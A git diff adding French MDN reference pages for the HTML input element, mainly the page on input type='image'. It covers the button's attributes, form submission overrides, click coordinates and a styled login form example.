+   <td>Aucune.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#hidden-state-(type=hidden)', '&lt;input type="hidden"&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.2', 'sec-forms.html#hidden-state-typehidden', '&lt;input type="hidden"&gt;')}}</td>
+   <td>{{Spec2('HTML5.2')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.input.input-hidden")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires">Guide sur les formulaires HTML</a></li>
+ <li>{{HTMLElement("input")}}</li>
+ <li>L'interface DOM {{domxref("HTMLInputElement")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/input/image/index.html b/files/fr/web/html/element/input/image/index.html
new file mode 100644
index 0000000000..41560c72d2
--- /dev/null
+++ b/files/fr/web/html/element/input/image/index.html
@@ -0,0 +1,399 @@
+---
+title: <input type="image">
+slug: Web/HTML/Element/Input/image
+tags:
+  - Element
+  - HTML
+  - Input
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/input/image
+---
+<div>{{HTMLRef}}</div>
+
+<p>Les éléments {{HTMLElement("input")}} dont l'attribut <code>type</code> vaut <code><strong>image</strong></code> sont utilisés afin de créer des boutons graphiques pour l'envoi de formulaire. Autrement dit, le bouton d'envoi aura la forme d'une image plutôt que de contenir un texte.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/input-image.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Valeur">Valeur</h2>
+
+<p>Les éléments <code>&lt;input type="image"&gt;</code> n'acceptent pas de valeur pour l'attribut <code>value</code>. Le chemin vers l'image à afficher est indiqué grâce à l'attribut <code>src</code>.</p>
+
+<h2 id="Attributs_supplémentaires">Attributs supplémentaires</h2>
+
+<p>En complément des attributs pris en charge par l'ensemble des éléments {{HTMLElement("input")}}, les boutons <code>image</code> permettent d'utiliser les attributs suivants :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Attribute</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("alt")}}</code></td>
+   <td>Texte de remplacement lorsque l'image ne peut pas être affichée</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("formaction")}}</code></td>
+   <td>L'URL à laquelle envoyer les données du formulaire. Cette valeur prend le pas sur l'attribut {{htmlattrxref("action", "form")}} du formulaire s'il est défini.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("formenctype")}}</code></td>
+   <td>Une chaîne de caractères qui indique le type d'encodage à utiliser pour les données du formulaire.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("formmethod")}}</code></td>
+   <td>La méthode HTTP à utiliser pour envoyer le formulaire.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("formnovalidate")}}</code></td>
+   <td>Un booléen qui, lorsqu'il est présent, indique que les champs du formulaire ne sont pas soumis <a href="/fr/docs/Web/Guide/HTML/HTML5/Constraint_validation">aux contraintes de validation</a> avant l'envoi des données au serveur.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("formtarget")}}</code></td>
+   <td>Le contexte de navigation dans lequel charger la réponse du serveur reçue après l'envoi du formulaire.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("height")}}</code></td>
+   <td>La hauteur, en pixels CSS, à laquelle dessiner l'image</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("src")}}</code></td>
+   <td>L'URL à partir de laquelle charger l'image</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("width")}}</code></td>
+   <td>La largeur, en pixels CSS, à laquelle dessiner l'image</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="htmlattrdefalt">{{htmlattrdef("alt")}}</h3>
+
+<p>L'attribut <code>alt</code> fournit un texte alternatif à utiliser comme libellé pour le bouton lorsque l'image ne peut être chargée ou affichée (que ce soit en raison d'une erreur ou de la configuration de l'agent utilisateur). Si cet attribut est fourni, ce doit être une chaîne de caractères non vide et qui décrit clairement le rôle du bouton.</p>
+
+<p>Ainsi, si on a un bouton graphique avec une image et/ou une incône avec le texte <em>Se connecter</em>. Le texte alternatif porté par <code>alt</code> devrait être proche de <code>"Se connecter"</code>.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Bien que, d'un point de vue technique, l'attribut <code>alt</code> soit optionnel. Il faut toujours en inclure un afin d'améliorer l'accessibilité et l'utilisabilité du bouton.</p>
+</div>
+
+<p>D'un point de vue fonctionnel, l'attribut <code>alt</code> pour <code>&lt;input type="image"&gt;</code> fonctionne de la même façon que l'attribut {{htmlattrdef("alt", "img")}} associé aux éléments {{HTMLElement("img")}}.</p>
+
+<h3 id="htmlattrdefformaction">{{htmlattrdef("formaction")}}</h3>
+
+<p>Une chaîne de caractères représentant l'URL à laquelle envoyer les données du formulaire. Cette valeur prend le pas sur l'attribut {{htmlattrxref("action", "form")}} du formulaire ({{HTMLElement("form")}}) propriétaire du champ <code>&lt;input&gt;</code>.</p>
+
+<p>Cet attribut est également disponible pour les éléments <code><a href="/fr/docs/Web/HTML/Element/input/submit">&lt;input type="submit"&gt;</a></code> et {{HTMLElement("button")}}.</p>
+
+<h3 id="htmlattrdefformenctype">{{htmlattrdef("formenctype")}}</h3>
+
+<p>Une chaîne de caractères qui identifie la méthode d'encodage à utiliser pour l'envoi des données du formulaire au serveur. Trois valeurs sont autorisées :</p>
+
+<dl>
+ <dt><code>application/x-www-form-urlencoded</code></dt>
+ <dd>Les informations sont envoyées sous la forme d'une chaîne de caractères ajoutée à l'URL en utilisant l'algorithme de {{jsxref("encodeURI", "encodeURI()")}}. <strong>Cette valeur est la valeur par défaut.</strong></dd>
+ <dt><code>multipart/form-data</code></dt>
+ <dd>Cette valeur utilise l'API {{domxref("FormData")}} pour gérer les données et permet d'<em>uploader</em>des fichiers. Cet encodage <em>doit</em> être utilisé s'il y a des éléments  {{HTMLElement("input")}} de {{htmlattrxref("type", "input")}} <code>"file"</code> (<code><a href="/fr/docs/Web/HTML/Element/input/file">&lt;input type="file"&gt;</a></code>).</dd>
+ <dt><code>text/plain</code></dt>
+ <dd>Les données sont envoyées comme texte simple. Cette valeur est généralement utile pour déboguer car elle permet de voir facilement les données envoyées.</dd>
+</dl>
+
+<p>Si cet attribut est défini, sa valeur prend la priorité sur l'attribut {{htmlattrxref("action", "form")}} du formulaire.</p>
+
+<p>Cet attribut est également disponible pour les éléments <code><a href="/fr/docs/Web/HTML/Element/input/submit">&lt;input type="submit"&gt;</a></code> et {{HTMLElement("button")}}.</p>
+
+<h3 id="htmlattrdefformmethod">{{htmlattrdef("formmethod")}}</h3>
+
+<p>Une chaîne de caractères qui indique la méthode HTTP à utiliser lors de l'envoi des données du formulaire. Cette valeur prend la priorité sur l'attribut {{htmlattrxref("method", "form")}} du formulaire. Les valeurs autorisées sont :</p>
+
+<dl>
+ <dt><code>get</code></dt>
+ <dd>Une URL est construite en commençant avec l'URL fournie par l'attribut <code>formaction</code> ou {{htmlattrxref("action", "form")}}, suivie d'un point d'interrogation puis des données du formulaire, encodées comme indiqué avec <code>formenctype</code> ou {{htmlattrxref("enctype", "form")}}. Cette URL est ensuite envoyée au serveur avec une requête HTTP {{HTTPMethod("get")}}. Cette méthode fonctionne correctement pour les formulaires simples, contenant des données ASCII et sans effet de bord. <strong>C'est la valeur par défaut.</strong></dd>
+ <dt><code>post</code></dt>
+ <dd>Les données du formulaire sont incluses dans le corps de la requête envoyée à l'URL fournie par l'attribut <code>formaction</code> ou {{htmlattrxref("action", "form")}} en utilisant une requête {{HTTPMethod("push")}}. Cette méthode prend en charge les données plus complexes (que celles pour <code>get</code>) et les pièces jointes sous forme de fichiers.</dd>
+ <dt><code>dialog</code></dt>
+ <dd>Cette méthode est utilisée pour indique que le bouton permet simplement de fermer la boîte de dialogue associée au champ. Aucune donnée n'est transmise.</dd>
+</dl>
+
+<p>Cet attribut est également disponible pour les éléments <code><a href="/fr/docs/Web/HTML/Element/input/submit">&lt;input type="submit"&gt;</a></code> et {{HTMLElement("button")}}.</p>
+
+<h3 id="htmlattrdefformnovalidate">{{htmlattrdef("formnovalidate")}}</h3>
+
+<p>Un attribut booléen qui, lorsqu'il est présent, indique que le formulaire ne devrait pas être validé avant d'être envoyé au serveur. Cet attribut prend la priorité sur l'attribut {{htmlattrxref("novalidate", "form")}} du formulaire parent.</p>
+
+<p>Cet attribut est également disponible pour les éléments <code><a href="/fr/docs/Web/HTML/Element/input/submit">&lt;input type="submit"&gt;</a></code> et {{HTMLElement("button")}}.</p>
+
+<h3 id="htmlattrdefformtarget">{{htmlattrdef("formtarget")}}</h3>
+
+<p>Une chaîne de caractères qui indique un nom ou un mot-clé qui définit où afficher la réponse reçue depuis le serveur après l'envoi du formulaire. La chaîne de caractères doit correspondre au nom <strong>d'un contexte de navigation</strong> (un onglet, une fenêtre ou une {{HTMLElement("iframe")}}). La valeur de cet attribut prendra la priorité sur celle fournie par l'attribut {{htmlattrxref("target", "form")}} du formulaire ({{HTMLElement("form")}}) parent.</p>
+
+<p>En complément des noms des onglets, fenêtres, <em>iframes</em>, quelques mots-clés spéciaux peuvent être utilisés :</p>
+
+<dl>
+ <dt><code>_self</code></dt>
+ <dd>La réponse est chargée dans le même contexte de navigation que celui contenant le formulaire. Cela remplacera le document courant avec les données reçues. <strong>Cette valeur est la valeur par défaut.</strong></dd>
+ <dt><code>_blank</code></dt>
+ <dd>La réponse est chargé dans un contexte de navigation vierge. Ce sera généralement un nouvel onglet dans la même fenêtre mais cela peut varier selon la configuration de l'agent utilisateur.</dd>
+ <dt><code>_parent</code></dt>
+ <dd>La réponse est chargée dans le contexte de navigation parent du contexte courant. S'il n'y a pas de contexte parent, cette valeur est synonyme de <code>_self</code>.</dd>
+ <dt><code>_top</code></dt>
+ <dd>La réponse est chargée dans le contexte de navigation de plus haut niveau, c'est-à-dire le contexte de navigation qui est l'ancêtre, sans parent, du contexte courant. Si le contexte courant est déjà le contexte de navigation le plus haut, cette valeur est synonyme de <code>_self</code>.</dd>
+</dl>
+
+<p>Cet attribut est également disponible pour les éléments <code><a href="/fr/docs/Web/HTML/Element/input/submit">&lt;input type="submit"&gt;</a></code> et {{HTMLElement("button")}}.</p>
+
+<h3 id="htmlattrdefheight">{{htmlattrdef("height")}}</h3>
+
+<p>Une valeur numérique qui indique la hauteur, exprimée en pixels CSS, pour dessiner l'image fournie par l'attribut <code>src</code>.</p>
+
+<h3 id="htmlattrdefsrc">{{htmlattrdef("src")}}</h3>
+
+<p>Une chaîne de caractères qui définit l'URL du fichier image à afficher pour le bouton. Lorsque l'utilisateur interagit avec l'image, le champ est géré comme tout autre bouton <code>&lt;input&gt;</code>.</p>
+
+<h3 id="htmlattrdefwidth">{{htmlattrdef("width")}}</h3>
+
+<p>Une valeur numérique qui indique la largeur, exprimée en pixels CSS, pour dessiner l'image fournie par l'attribut <code>src</code>.</p>
+
+<h2 id="Attributs_obsolètes">Attributs obsolètes</h2>
+
+<p>L'attribut suivant a été défini en HTML4 pour les champs de type <code>image</code> mais n'a pas été implémenté par l'ensemble des navigateurs et a été déprécié depuis :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Attribute</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("usemap")}}</code></td>
+   <td>Le nom d'une carte d'images cliquables ({{HTMLElement("map")}}) à utiliser pour l'image. Cet élément est obsolète et c'est l'élément {{HTMLElement("img")}} qui devrait être utilisé pour créer des cartes à la place.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="htmlattrdefusemap">{{htmlattrdef("usemap")}}</h3>
+
+<p>Lorsque l'attribut <code>usemap</code> est utilisé, sa valeur doit être le nom d'un élément {{HTMLElement("map")}} qui définit l'image avec des régions cliquables à utiliser. Cette utilisation est obsolète et l'élément {{HTMLElement("img")}} devrait être utilisé pour les images avec des zones cliquables.</p>
+
+<h2 id="Utiliser_les_contrôles_&lt;input_typeimage>">Utiliser les contrôles <code>&lt;input type="image"&gt;</code></h2>
+
+<p>Un élément <code>&lt;input type="image"&gt;</code> est <a href="/fr/docs/Web/CSS/Élément_remplacé">un élément remplacé</a> (c'est-à-dire un élément dont le contenu n'est pas généré ou géré par le CSS) et se comporte comme un élément {{htmlelement("img")}} tout en permettant <a href="/fr/docs/Web/HTML/Element/Input/submit">d'envoyer un formulaire (comme un élément <code>&lt;input type="submit"&gt;</code>)</a>.</p>
+
+<h3 id="Les_fonctionnalités_essentielles">Les fonctionnalités essentielles</h3>
+
+<p>Prenons un exemple simple qui utilise les attributs strictement nécessaires (qui fonctionnent de la même façon que pour un élément <code>&lt;img&gt;</code>) :</p>
+
+<pre class="brush: html notranslate">&lt;input id="image" type="image" width="100" height="30" alt="Login"
+       src="https://raw.githubusercontent.com/mdn/learning-area/master/html/forms/image-type-example/login.png"&gt;</pre>
+
+<p>{{EmbedLiveSample('Les_fonctionnalités_essentielles', 600, 50)}}</p>
+
+<ul>
+ <li>L'attribut {{htmlattrxref("src", "input")}} indique le chemin de l'image qu'on souhaite afficher sur le bouton.</li>
+ <li>L'attribut {{htmlattrxref("alt", "input")}} fournit un texte alternatif à l'image qui peut notamment être utilisé par un lecteur d'écran pour indiquer ce à quoi correspond l'image. Ce texte sera également affiché si l'image ne peut pas être affichée (par exemple si le chemin est incorrect). Si possible, il est préférable d'utiliser le texte que vous auriez utilisé si vous aviez mis en place un élément &lt;input type="<code>submit"&gt;</code>.</li>
+ <li>Les attributs {{htmlattrxref("width", "input")}} et {{htmlattrxref("height", "input")}} sont utilisés afin d'indiquer la largeur et la hauteur, exprimées en pixels, avec lesquelles représenter l'image. Le bouton aura la même taille que l'image. S'il est nécessaire que le bouton soit plus gros que l'image, on pourra utiliser des règles CSS (par exemple avec la propriété {{cssxref("padding")}}). Si un seul des deux attributs est fourni, la seconde dimension sera automatiquement ajustée afin que l'image conserve ses proportions originelles.</li>
+</ul>
+
+<h3 id="Surcharger_le_comportement_par_défaut">Surcharger le comportement par défaut</h3>
+
+<p>Les éléments <code>&lt;input type="image"&gt;</code> — comme les boutons <a href="/fr/docs/Web/HTML/Element/input/submit"><code>&lt;input type="submit"&gt;</code></a> — prennent en charge différents attributs qui permettent d'adapter le compotement du formulaire :</p>
+
+<dl>
+ <dt>{{htmlattrdef("formaction")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Cet attribut indique l'URI d'un programme qui traite les informations envoyées par l'élément <code>&lt;input&gt;</code>. Cet attribut surcharge l'attribut {{htmlattrxref("action","form")}} du formulaire associé.</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("formenctype")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Cet attribut définit le type de contenu utilisé pour envoyer le formulaire au serveur. Les valeurs possibles sont :
+ <ul>
+  <li><code>application/x-www-form-urlencoded</code> : la valur par défaut si l'attribut n'est pas utilisé.</li>
+  <li><code>text/plain</code>.</li>
+ </ul>
+
+ <p>Si cet attribut est utilisé, il surcharge l'attribut {{htmlattrxref("enctype","form")}} du formulaire associé.</p>
+ </dd>
+ <dt>{{htmlattrdef("formmethod")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Cet attribut indique la méthode HTTP utilisée par le navigateur afin d'envoyer le formulaire. Les valeurs possibles sont :
+ <ul>
+  <li><code>post</code> : les données du formulaire sont incluses dans le corps du formulaire puis envoyées au serveur.</li>
+  <li><code>get</code> : les données du formulaire sont ajoutées après l'URI de l'attribut <code><strong>form</strong></code> avec un point d'interrogation (« ? ») comme séparateur. L'URI alors obtenue est envoyée au serveur. Cette méthode doit uniquement être utilisée lorsque le formulaire n'entraîne aucun effet de bord et que les données ne contiennent que des caractères ASCII.</li>
+ </ul>
+
+ <p>Si cet attribut est utilisé, il surcharge l'attribut {{htmlattrxref("method","form")}} du formulaire associé.</p>
+ </dd>
+ <dt>{{htmlattrdef("formnovalidate")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Un attribut booléen qui indique si le formulaire ne doit pas être validé avant d'être envoyé. Si cet attribut est utilisé, il surcharge l'attribut {{htmlattrxref("novalidate","form")}} du formulaire associé.</dd>
+ <dt>{{htmlattrdef("formtarget")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Un nom ou un mot-clé qui indique où la réponse doit être affichée après que le formulaire a été envoyé. Cette valeur est le nom ou un mot-clé qui désigne un contexte de navigation (par exemple un onglet, une fenêtre ou une <em>iframe</em>). Si cet attribut est indiqué, il surcharge l'attribut {{htmlattrxref("target", "form")}} du formulaire associé. Les mots-clés suivants ont des significations particulières :
+ <ul>
+  <li>_<code>self</code> : la réponse est chargée dans le même contexte de navigation que le contexte courant. C'est la valeur par défaut si l'attribut n'est pas utilisé.</li>
+  <li><code>_blank</code> : la réponse est chargée dans un nouveau contexte de navigation anonyme.</li>
+  <li><code>_parent</code> : la réponse est chargée dans le contexte navigation qui est le parent du contexte courant. S'il n'y a aucun contexte parent, cette valeur se comportera comme la valeur <code>_self</code>.</li>
+  <li><code>_top</code> : la réponse est chargée dans le contexte de navigation de plus haut niveau (c'est-à-dire le contexte qui est un ancêtre du contexte courant et qui n'a pas de contexte parent). Si le contexte courant n'a pas de parent, cette valeur se comportera comme <code>_self</code>.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Utiliser_les_coordonnées_x_et_y">Utiliser les coordonnées <code>x</code> et <code>y</code></h3>
+
+<p>Lorsqu'on envoie un formulaire avec un bouton <code>&lt;input type="image"&gt;</code>, les coordonnées (<code>x</code> et <code>y</code>) du clic sur l'image sont également envoyées au serveur (<a href="https://mdn.github.io/learning-area/html/forms/image-type-example/xy-coordinates-example.html">voir cet exemple</a>).</p>
+
+<p>Lorsqu'on clique sur l'image pour envoyer le formulaire, vous pourrez voir que l'URL contient deux autres paramètres (par exemple <code>"?x=52&amp;y=55"</code>). Si le contrôle possède un attribut {{htmlattrxref("name", "input")}}, ce nom sera utilisé comme préfixe. Ainsi, si <code>name</code> vaut <code>"position"</code>, les coordonnées du clic seront envoyées dans l'URL avec le format suivant : <code>"?position.x=52&amp;position.y=55"</code>. Ce préfixe est également appliqué aux autres attributs.</p>
+
+<p>Les coordonnées X et Y sont calculées en pixels à partir du coin en haut à gauche de l'image ete peuvent être utilisées lorsque l'emplacement du clic possède une quelconque importance (par exemple une carte). Ces coordonnées peuvent donc être utilisées côté serveur afin de renvoyer des informations pertinentes (par exemple des informations quant aux lieux alentour).</p>
+
+<h3 id="Ajuster_la_position_et_léchelle_de_limage">Ajuster la position et l'échelle de l'image</h3>
+
+<p>Il est possible d'utiliser la propriété CSS {{cssxref("object-position")}} afin d'ajuster la position de l'image au sein de la boîte fournie par l'élément <code>&lt;input&gt;</code>. La propriété CSS {{cssxref("object-fit")}} peut être utilisée afin de contrôler la façon dont l'image est redimensionnée pour tenir dans la boîte. On peut donc ajuster le cadre grâce aux attributs <code>width</code> et <code>height</code> afin de créer un espace fixe sur le document puis ajuster la façon dont l'image occupe cet espace.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Un_formulaire_de_connexion">Un formulaire de connexion</h3>
+
+<p>Dans l'exemple suivant, on insère le bouton vu précedemment dans un formulaire de connexion.</p>
+
+<p>{{EmbedLiveSample('Un_formulaire_de_connexion', 600, 170)}}</p>
+
+<p>Voici le fragment de code HTML utilisé :</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;p&gt;Connectez-vous&lt;/p&gt;
+  &lt;div&gt;
+    &lt;label for="userId"&gt;Identifiant&lt;/label&gt;
+    &lt;input type="text" id="userId" name="userId"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;label for="pwd"&gt;Mot de passe&lt;/label&gt;
+    &lt;input type="password" id="pwd" name="pwd"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;input id="image" type="image" src="https://raw.githubusercontent.com/mdn/learning-area/master/html/forms/image-type-example/login.png" alt="Login" width="100"&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>Ensuite, on ajoute un feuille de style CSS pour mettre en forme les éléments :</p>
+
+<pre class="brush: css notranslate">div {
+  margin-bottom: 10px;
+}
+
+label {
+  display: inline-block;
+  width: 70px;
+  text-align: right;
+  padding-right: 10px;
+}</pre>
+
+<h3 id="Ajuster_la_position_et_l’échelle_de_l’image">Ajuster la position et l’échelle de l’image</h3>
+
+<p>Dans l'exemple qui suit, on adapte l'exemple précédent afin de disposer de plus d'espace pour l'image et on ajuste la taille et la position de l'image grâce à {{cssxref("object-fit")}} et {{cssxref("object-position")}}.</p>
+
+<p>{{EmbedLiveSample("Ajuster_la_position_et_l’échelle_de_l’image", 600, 300)}}</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;p&gt;Connectez-vous&lt;/p&gt;
+  &lt;div&gt;
+    &lt;label for="userId"&gt;Identifiant&lt;/label&gt;
+    &lt;input type="text" id="userId" name="userId"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;label for="pwd"&gt;Mot de passe&lt;/label&gt;
+    &lt;input type="password" id="pwd" name="pwd"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;input id="image" type="image" src="https://raw.githubusercontent.com/mdn/learning-area/master/html/forms/image-type-example/login.png" alt="Login" width="100"&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">div {
+  margin-bottom: 10px;
+}
+
+label {
+  display: inline-block;
+  width: 70px;
+  text-align: right;
+  padding-right: 10px;
+}
+
+#image {
+  object-position: right top;
+  object-fit: contain;
+  background-color: #ddd;
+}
+</pre>
+
+<p>On voit ici <code>object-position</code> qui permet de dessiner l'image à paritr du coin supérieur droit de l'élément et <code>object-fit</code> qui vaut <code>contain</code> : l'image est ainsi dessinée avec la taille la plus grande possible tout en respectant ses proportions et en ne dépassant pas de la boîte. L'arrière-plan de l'image sera visible s'il y a des zones non-couvertes.</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("Valeur")}}</strong></td>
+   <td>Aucune, l'attribut <code>value</code> ne devrait pas être utilisé.</td>
+  </tr>
+  <tr>
+   <td><strong>Évènements</strong></td>
+   <td>Aucun.</td>
+  </tr>
+  <tr>
+   <td><strong>Attributs pris en charge</strong></td>
+   <td>{{htmlattrxref("alt", "input")}}, {{htmlattrxref("src", "input")}}, {{htmlattrxref("width", "input")}}, {{htmlattrxref("height", "input")}}, {{htmlattrxref("formaction", "input")}}, {{htmlattrxref("formenctype", "input")}}, {{htmlattrxref("formmethod", "input")}}, {{htmlattrxref("formnovalidate", "input")}}, {{htmlattrxref("formtarget", "input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Attributs IDL</strong></td>
+   <td>Aucun.</td>
+  </tr>
+  <tr>
+   <td><strong>Méthodes</strong></td>
+   <td>Aucune.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#image-button-state-(type=image)', '&lt;input type="image"&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#image-button-state-%28type=image%29', '&lt;input type="image"&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.input.input-image")}}</p>
+
+<h2 id="Voir_ausi">Voir ausi</h2>
+
+<ul>
+ <li>L'élément {{HTMLElement("input")}} et l'interface DOM {{domxref("HTMLInputElement")}} qu'il implémente.</li>
+</ul>
diff --git a/files/fr/web/html/element/input/index.html b/files/fr/web/html/element/input/index.html
new file mode 100644
index 0000000000..5503eb8024
--- /dev/null
+++ b/files/fr/web/html/element/input/index.html
@@ -0,0 +1,465 @@
+---
+title: <input>
+slug: Web/HTML/Element/Input
+tags:
+  - Element
+  - Formulaires
+  - HTML
+  - Input
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/input
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;input&gt;</code></strong> est utilisé pour créer un contrôle interactif dans un formulaire web qui permet à l'utilisateur de saisir des données. Les saisies possibles et le comportement de l'élément <code>&lt;input&gt;</code> dépend fortement de la valeur indiquée dans son attribut <code>type</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/input-text.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Les_différents_types_de_champs_&lt;input>"><a id="types" name="types">Les différents types de champs <code>&lt;input&gt;</code></a></h2>
+
+<p>La façon dont un élément <code>&lt;input&gt;</code> fonctionne dépend grandement de la valeur de son attribut <code>type</code>. Aussi, pour chacun de ces types, on aura une page de référence dédiée. Par défaut, lorsque l'attribut <code>type</code> n'est pas présent, il aura la valeur implicite <code>text</code>.</p>
+
+<p>Les types de champs disponibles sont :</p>
+
+<ul>
+ <li><code>{{HTMLElement("input/button", "button")}}</code> : un bouton sans comportement défini.</li>
+ <li><code>{{HTMLElement("input/checkbox", "checkbox")}}</code> : une case à cocher qui permet de sélectionner/déselectionner une valeur</li>
+ <li><code>{{HTMLElement("input/color", "color")}}</code> : {{HTMLVersionInline("5")}} un contrôle qui permet de définir une couleur.</li>
+ <li><code>{{HTMLElement("input/date", "date")}}</code> : {{HTMLVersionInline("5")}} un contrôle qui permet de saisir une date (composé d'un jour,  d'un mois et d'une année).</li>
+ <li><code>{{HTMLElement("input/datetime-local", "datetime-local")}}</code> : {{HTMLVersionInline("5")}} un contrôle qui permet de saisir une date et une heure (sans fuseau horaire).</li>
+ <li><code>{{HTMLElement("input/email", "email")}}</code> : {{HTMLVersionInline("5")}} un champ qui permet de saisir une adresse éléctronique.</li>
+ <li><code>{{HTMLElement("input/file", "file")}}</code> : un contrôle qui permet de sélectionner un fichier. L'attribut <code><strong>accept</strong></code> définit les types de fichiers qui peuvent être sélectionnés.</li>
+ <li><code>{{HTMLElement("input/hidden", "hidden")}}</code> : un contrôle qui n'est pas affiché mais dont la valeur est envoyée au serveur.</li>
+ <li><code>{{HTMLElement("input/image", "image")}}</code> : un bouton graphique d'envoi du formulaire. L'attribut <code>src</code> doit être défini avec la source de l'image et l'attribut <code>alt</code> doit être défini avec le texte alternatif. Les attributs <code>height</code> et <code>width</code> permettent de définir la taille de l'image en pixels.</li>
+ <li><code>{{HTMLElement("input/month", "month")}}</code> : {{HTMLVersionInline("5")}} un contrôle qui permet de saisir un mois et une année (sans fuseau horaire).</li>
+ <li><code>{{HTMLElement("input/number", "number")}}</code> : {{HTMLVersionInline("5")}} un contrôle qui permet de saisir un nombre.</li>
+ <li><code>{{HTMLElement("input/password", "password")}}</code> : un champ texte sur une seule ligne dont la valeur est masquée. Les attributs <code>maxlength</code> et <code>minlength</code> définissent la taille maximale et minimale de la valeur à saisir dans le champ.
+  <div class="note"><strong>Note :</strong> Tout formulaire comportant des données sensibles doit être servi via HTTPS. Les navigateurs alertent les utilisateurs lorsque les formulaires avec de telles données sont uniquement disponibles via HTTP.</div>
+ </li>
+ <li><code>{{HTMLElement("input/radio", "radio")}}</code> : un bouton radio qui permet de sélectionner une seule valeur parmi un groupe de différentes valeurs.</li>
+ <li><code>{{HTMLElement("input/range", "range")}}</code> : {{HTMLVersionInline("5")}} un contrôle qui permet de saisir un nombre dont la valeur exacte n'est pas importante.</li>
+ <li><code>{{HTMLElement("input/reset", "reset")}}</code> : un bouton qui réinitialise le contenu du formulaire avec les valeurs par défaut.</li>
